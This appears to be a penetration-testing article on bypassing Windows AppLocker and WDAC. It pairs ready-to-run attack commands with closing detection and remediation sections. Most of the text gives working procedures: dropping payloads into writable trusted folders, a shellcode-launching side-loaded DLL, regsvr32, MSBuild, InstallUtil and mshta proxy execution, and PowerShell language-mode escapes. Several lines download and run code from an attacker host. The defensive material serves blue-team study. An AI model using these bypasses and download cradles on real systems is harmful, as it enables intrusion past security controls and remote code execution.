
AppLocker and WDAC Bypass Techniques
AppLocker and Windows Defender Application Control bypass methods including trusted folder abuse, LOLBAS proxy execution, and CLM escape.
Introduction
AppLocker and Windows Defender Application Control (WDAC) occupy different positions in Windows application whitelisting. AppLocker is enforced in user-mode by the Application Identity service (AppIDSvc) and evaluated at process creation — it's rule-based (path, publisher, hash) and configured per-GPO. WDAC is enforced at the kernel level via Code Integrity (CI.dll) and the Windows kernel, making it significantly more resistant to bypass. Despite the architectural difference, both leave exploitable gaps.
AppLocker's weakness is path-based rules. Most enterprise deployments allow execution from C:\Windows\* and C:\Program Files\* because blocking those paths breaks legitimate software. Writable subdirectories within allowed paths — C:\Windows\Tasks, C:\Windows\Tracing, C:\Windows\Registration\CRMLog — let you drop binaries into trusted locations without admin rights. DLL rules are also disabled by default, which means any EXE that loads DLLs from attacker-controlled paths is an execution primitive.
WDAC's bypass surface is narrower but exists. COM objects, inline tasks in MSBuild, and the boundary between user-mode and kernel enforcement create gaps. Understanding which policy is active and how it was configured determines which path applies. The goal in both cases is the same: achieve arbitrary code execution while appearing to operate within the policy boundary.
Authorized Use Only
These techniques are for authorized penetration testing and red team engagements only. Application control bypass without explicit written authorization is a criminal offense under computer fraud statutes.
Impact
- Full bypass of application whitelisting on misconfigured systems without admin rights
- PowerShell CLM escape enabling unrestricted script execution from a locked-down session
- DLL hijacking via AppLocker gap — unsigned DLLs loadable through allowed EXEs
- LOLBAS proxy execution that satisfies path/publisher rules while running arbitrary code
- Persistence through allowed paths — scheduled tasks and startup entries from writable
C:\Windows\subdirs - WDAC policy exfiltration for pre-engagement planning to identify exact rule gaps
Technical Details
Enumerate AppLocker Policy
Pull the effective AppLocker policy from the local machine. This shows which rule collections are active and what's allowed.
Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollectionsFor a structured view including rule conditions:
Get-AppLockerPolicy -Effective -Xml | Out-File C:\Users\Public\applocker_policy.xmlLook for:
- Path rules with wildcards (
%WINDIR%\*,%PROGRAMFILES%\*) — your trusted folder targets - Publisher rules — publisher name, product name, and minimum version pinned
- Hash rules — hardest to bypass, but rare in large deployments
- Which rule collections are enabled — Exe, Dll, Script, MSI, Appx. DLL rules are off by default.
Check whether DLL enforcement is enabled:
(Get-AppLockerPolicy -Effective).RuleCollections | Where-Object { $_.RuleCollectionType -eq 'Dll' }An empty result means DLL rules are not configured — unsigned DLLs load freely through any allowed EXE.
Identify Writable Trusted Paths
Most AppLocker policies use %WINDIR%\* to allow the entire Windows directory. Enumerate writable paths within it:
accesschk.exe -uwdq "C:\Windows" /accepteula 2>nulCommon writable paths on default Windows installations (no admin required):
C:\Windows\Tasks
C:\Windows\Tracing
C:\Windows\Registration\CRMLog
C:\Windows\System32\FxsTmp
C:\Windows\System32\Tasks\Microsoft\Windows\PLA\System
C:\Windows\SysWOW64\Tasks
C:\Windows\Temp (variable — depends on ACL hardening)Drop a payload and execute:
copy payload.exe C:\Windows\Tasks\update.exe
C:\Windows\Tasks\update.exeThis works because the path C:\Windows\Tasks\update.exe matches the %WINDIR%\* AppLocker allow rule.
DLL Side-Loading Through Allowed EXEs
With DLL rules disabled (default), any executable whitelisted by AppLocker is a DLL injection vector. Find EXEs that load DLLs without full qualified paths:
procmon.exe /Quiet /Minimized /BackingFile C:\tmp\trace.pmlFilter for Result is NAME NOT FOUND and Path ends with .dll — these are phantom DLLs the process tries to load. Drop your DLL into the search path.
A reliable static target is C:\Program Files\Common Files\microsoft shared\ — many applications search here. Compile a DLL with the expected export:
// Compile: x86_64-w64-mingw32-gcc -shared -o target.dll loader.c
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE h, DWORD reason, LPVOID r) {
if (reason == DLL_PROCESS_ATTACH)
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Shellcode, NULL, 0, NULL);
return TRUE;
}LOLBAS Proxy Execution
Living-off-the-land binaries bypass AppLocker publisher and path rules because they are signed Microsoft binaries in %WINDIR%\System32\. Three reliable primitives:
regsvr32 — scriptlet execution (T1218.010):
regsvr32.exe /s /n /u /i:http://attacker.com/payload.sct scrobj.dllThe .sct file is a COM scriptlet (XML with <script> tag) that executes JScript or VBScript. This bypasses AppLocker because regsvr32.exe is a trusted Microsoft binary.
MSBuild inline task execution (T1127.001):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe payload.csproj<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Execute">
<ClassicTask />
</Target>
<UsingTask TaskName="ClassicTask" TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System; using Microsoft.Build.Framework; using Microsoft.Build.Utilities;
public class ClassicTask : Task {
public override bool Execute() {
System.Diagnostics.Process.Start("cmd.exe", "/c whoami > C:\\Users\\Public\\out.txt");
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>InstallUtil (T1218.004):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U payload.exeThe /U flag triggers the Uninstall() method in a class decorated with [RunInstaller(true)] without actually installing anything.
PowerShell Constrained Language Mode Bypass
When AppLocker or WDAC is enforced, PowerShell drops to Constrained Language Mode (CLM). Confirm:
$ExecutionContext.SessionState.LanguageMode
# ConstrainedLanguageIn CLM, Add-Type, COM objects, .NET method calls on non-approved types, and reflection are blocked. The bypass relies on the fact that assemblies loaded into the process bypass CLM — they run as full .NET, not through the PowerShell language engine.
Method 1 — PSBypassCLM via custom runspace:
Compile a C# executable (allowed by AppLocker path rule) that creates a PowerShell runspace without CLM:
using System.Management.Automation;
using System.Management.Automation.Runspaces;
var rs = RunspaceFactory.CreateRunspace();
rs.Open();
// Runspace created outside constrained context runs in FullLanguage
var ps = PowerShell.Create();
ps.Runspace = rs;
ps.AddScript("IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')");
ps.Invoke();Method 2 — PowerShell 2.0 downgrade:
If PowerShell 2.0 engine is installed, it predates CLM and ignores application control constraints:
powershell.exe -Version 2 -Command "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"Check if v2 is available: Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root
Method 3 — .NET reflection from allowed binary:
From within a C# binary running in an allowed path, load a PS assembly via reflection and invoke without CLM constraints:
# This works from FullLanguage mode obtained via a custom runspace
[System.Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes("C:\Windows\Tasks\implant.dll"))
[Implant.Core]::Execute()WDAC Policy Enumeration
Before attempting WDAC bypasses, determine what policy is active and how it's configured.
On Windows 11 / Server 2022+, citool.exe is available:
citool.exe /list-policiesOn older systems, enumerate via WMI or registry:
Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Control\CI\Policy"Active policies are binary .p7 files. Convert to XML with CIPolicyParser.ps1 (from WDAC Tools) or the built-in ConvertFrom-CIPolicy:
# CIPolicyParser.ps1 from https://github.com/mattifestation/WDACTools
Import-Module .\CIPolicyParser.ps1
ConvertFrom-CIPolicy -BinaryFilePath C:\Windows\System32\CodeIntegrity\SIPolicy.p7b -XmlFilePath policy.xmlInspect the XML for:
<Rules>— policy rules and option flags (audit vs. enforce mode, UMCI, HVCI)<FileRules>— allowed/denied file hashes and paths<Signers>— trusted signers and certificatesOptionvalues:0= Enabled:UMCI (user-mode enforcement),6= Unsigned System Integrity Policy allowed
If Enabled:Audit Mode Only is present, WDAC is not blocking — it's logging. Check event log Microsoft-Windows-CodeIntegrity/Operational (Event ID 3076).
WDAC MSBuild and COM Bypass
WDAC in user-mode enforcement (UMCI) checks code signing for EXEs and DLLs, but MSBuild inline tasks compile to in-memory assemblies that are not subject to the same signing checks on unpatched configurations.
The MSBuild inline task technique (Step 4) also applies against many WDAC policies. Additionally, COM objects registered system-wide that are not covered by WDAC file rules can be instantiated:
$obj = [Activator]::CreateInstance([Type]::GetTypeFromProgID("WScript.Shell"))
$obj.Run("cmd.exe /c whoami > C:\Users\Public\out.txt", 0, $true)COM objects bypass WDAC because code integrity checks apply to PE images, not to COM activation paths in many policy configurations.
For WDAC policies with Enabled:Allow Supplemental Policies, check if you can enumerate or influence supplemental policy loading.
Attack Tools
# Effective policy (all rule collections)
Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections
# Export XML for offline analysis
Get-AppLockerPolicy -Effective -Xml | Out-File .\applocker.xml
# Check if DLL rules are enforced
(Get-AppLockerPolicy -Effective).RuleCollections |
Where-Object { $_.RuleCollectionType -eq 'Dll' } |
Select-Object RuleCollectionType, EnforcementMode
# Test if a specific file would be allowed
Test-AppLockerPolicy -Path C:\Windows\Tasks\test.exe -User Everyone
# Find writable dirs in trusted paths (requires accesschk)
accesschk.exe -uwdq "C:\Windows" /accepteula 2>nul | Select-String "RW"
accesschk.exe -uwdq "C:\Program Files" /accepteula 2>nul | Select-String "RW"regsvr32.exe /s /n /u /i:http://attacker.com/shell.sct scrobj.dll
# Or file-based
regsvr32.exe /s /n /u /i:C:\Windows\Tasks\payload.sct scrobj.dllC:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Windows\Tasks\payload.csproj
# 32-bit framework path
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Tasks\payload.csprojC:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Windows\Tasks\payload.exemshta.exe vbscript:Execute("CreateObject(""WScript.Shell"").Run ""cmd.exe"",0,True:close")
mshta.exe http://attacker.com/payload.hta$ExecutionContext.SessionState.LanguageMode
# ConstrainedLanguage = CLM enforced
# Downgrade to PS2 if engine available
powershell.exe -Version 2 -ExecutionPolicy Bypass -Command "whoami"
# Check PS2 availability
Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Rootusing System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
class Program {
static void Main(string[] args) {
Runspace rs = RunspaceFactory.CreateRunspace();
rs.Open();
PowerShell ps = PowerShell.Create();
ps.Runspace = rs;
ps.AddScript(args[0]); // pass script as argument
var results = ps.Invoke();
foreach (var r in results) Console.WriteLine(r);
}
}C:\Windows\Tasks\PSBypass.exe "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')"citool.exe /list-policies
citool.exe /list-policies --json# Active policy binary locations
Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Control\CI\Policy"
# Code integrity event log (audit vs enforce hits)
Get-WinEvent -LogName "Microsoft-Windows-CodeIntegrity/Operational" -MaxEvents 50 |
Where-Object { $_.Id -in @(3076, 3077) } |
Select-Object TimeCreated, Id, Message
# 3076 = audit block, 3077 = enforce block
# Parse binary policy to XML (WDACTools module)
# https://github.com/mattifestation/WDACTools
Import-Module .\WDACTools.psd1
ConvertFrom-CIPolicy -BinaryFilePath "C:\Windows\System32\CodeIntegrity\SIPolicy.p7b" `
-XmlFilePath .\SIPolicy.xml[xml]$policy = Get-Content .\SIPolicy.xml
$policy.SiPolicy.Rules.Rule | Select-Object -ExpandProperty Option
# Look for: Enabled:Audit Mode Only (not blocking)
# Enabled:UMCI = user-mode code integrity activeDetection
AppLocker bypass attempts generate:
| Event ID | Log | Description |
|---|---|---|
| 8003 | Microsoft-Windows-AppLocker/EXE and DLL | EXE/DLL blocked by AppLocker |
| 8004 | Microsoft-Windows-AppLocker/EXE and DLL | EXE/DLL would have been blocked (audit) |
| 8006 | Microsoft-Windows-AppLocker/Script | Script blocked |
| 8007 | Microsoft-Windows-AppLocker/Script | Script would have been blocked (audit) |
| 4688 | Security | Process creation — parent/child anomalies |
WDAC violations:
| Event ID | Log | Description |
|---|---|---|
| 3076 | Microsoft-Windows-CodeIntegrity/Operational | Audit block (policy in audit mode) |
| 3077 | Microsoft-Windows-CodeIntegrity/Operational | Enforce block |
| 3089 | Microsoft-Windows-CodeIntegrity/Operational | Signature validation details |
Behavioral detections:
regsvr32.exespawning network connections or child processes — covers the/i:http://scriptlet pathMSBuild.exeexecuted outside Visual Studio or build pipeline context — process parent is notdevenv.exe,cmd.exefrom a build script, or CI agentInstallUtil.exewith/Uflag and no corresponding installer logmshta.exewith inline VBScript arguments- PowerShell Script Block Logging (Event 4104) captures code executed in CLM bypass runspaces — the compiled C# creates a new runspace, but if the payload script runs PowerShell commands, 4104 fires
powershell.exe -Version 2invocation — no legitimate administrative reason in most environments- File write events (Sysmon Event ID 11) to
C:\Windows\Tasks\,C:\Windows\Tracing\,C:\Windows\Registration\CRMLog\from non-system processes
SIEM detection for trusted-path abuse:
(EventCode=4688 OR EventCode=1) AND
NewProcessName LIKE "C:\\Windows\\Tasks\\%" OR
NewProcessName LIKE "C:\\Windows\\Tracing\\%" OR
NewProcessName LIKE "C:\\Windows\\Registration\\CRMLog\\%"Remediation
AppLocker hardening:
- Enable DLL rule collection — add
<DllRules>to policy. This significantly increases enforcement but requires testing to avoid breaking applications - Replace wildcard path rules (
%WINDIR%\*) with explicit publisher rules for known-good software — reduces the trusted-path attack surface - Audit writable directories within allowed path trees using
icaclsoraccesschkand removeUsersorEveryonewrite permissions on subdirectories underC:\Windows\ - Restrict
%WINDIR%\Microsoft.NET\Framework*\MSBuild.exe,InstallUtil.exe,regsvr32.exe, andmshta.exevia publisher rules to specific approved use cases or block entirely if not needed - Disable PowerShell v2:
Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root
WDAC over AppLocker:
Prefer WDAC — it is kernel-enforced and not dependent on the Application Identity service running. WDAC with HVCI (Hypervisor-Protected Code Integrity) raises the bar significantly:
- Use
ConfigCImodule to build policies:New-CIPolicy,Merge-CIPolicy,ConvertFrom-CIPolicy - Start in audit mode (Event 3076) before enforcing to baseline the environment
- Deploy supplemental policies for per-application exceptions rather than widening the base policy
- Enable UMCI (user-mode code integrity) — without it, only kernel-mode code is checked
- Block known LOLBAS via explicit deny rules in WDAC policy (Microsoft publishes a recommended block list)
PowerShell hardening:
- Enable Script Block Logging (Event 4104):
HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging→EnableScriptBlockLogging = 1 - Enable Transcription logging: captures all PS input/output to file
- Enforce Constrained Language Mode via WDAC (not AppLocker — AppLocker CLM can be bypassed more easily)
- Deploy Just Enough Administration (JEA) for legitimate admin PowerShell use cases
References
MITRE ATT&CK Techniques
- T1218 - System Binary Proxy Execution
- T1553 - Subvert Trust Controls
- T1059.001 - Command and Scripting Interpreter: PowerShell
Tools Documentation
- LOLBAS Project — Living-off-the-land binary catalog
- WDACTools by mattifestation — WDAC policy parsing PowerShell module
- citool.exe documentation — Windows built-in CI policy management
- Microsoft WDAC Wizard — GUI policy builder
- AppLocker documentation
- Sysinternals AccessChk — Permission enumeration
Next Steps
AMSI Bypass Techniques for PowerShell and .NET
AMSI bypass methods including memory patching, reflection-based disabling, and obfuscation to execute unsigned PowerShell payloads.
AV Evasion and Payload Obfuscation Techniques
Antivirus evasion strategies including shellcode encoding, custom packers, process hollowing, and signature-aware payload generation.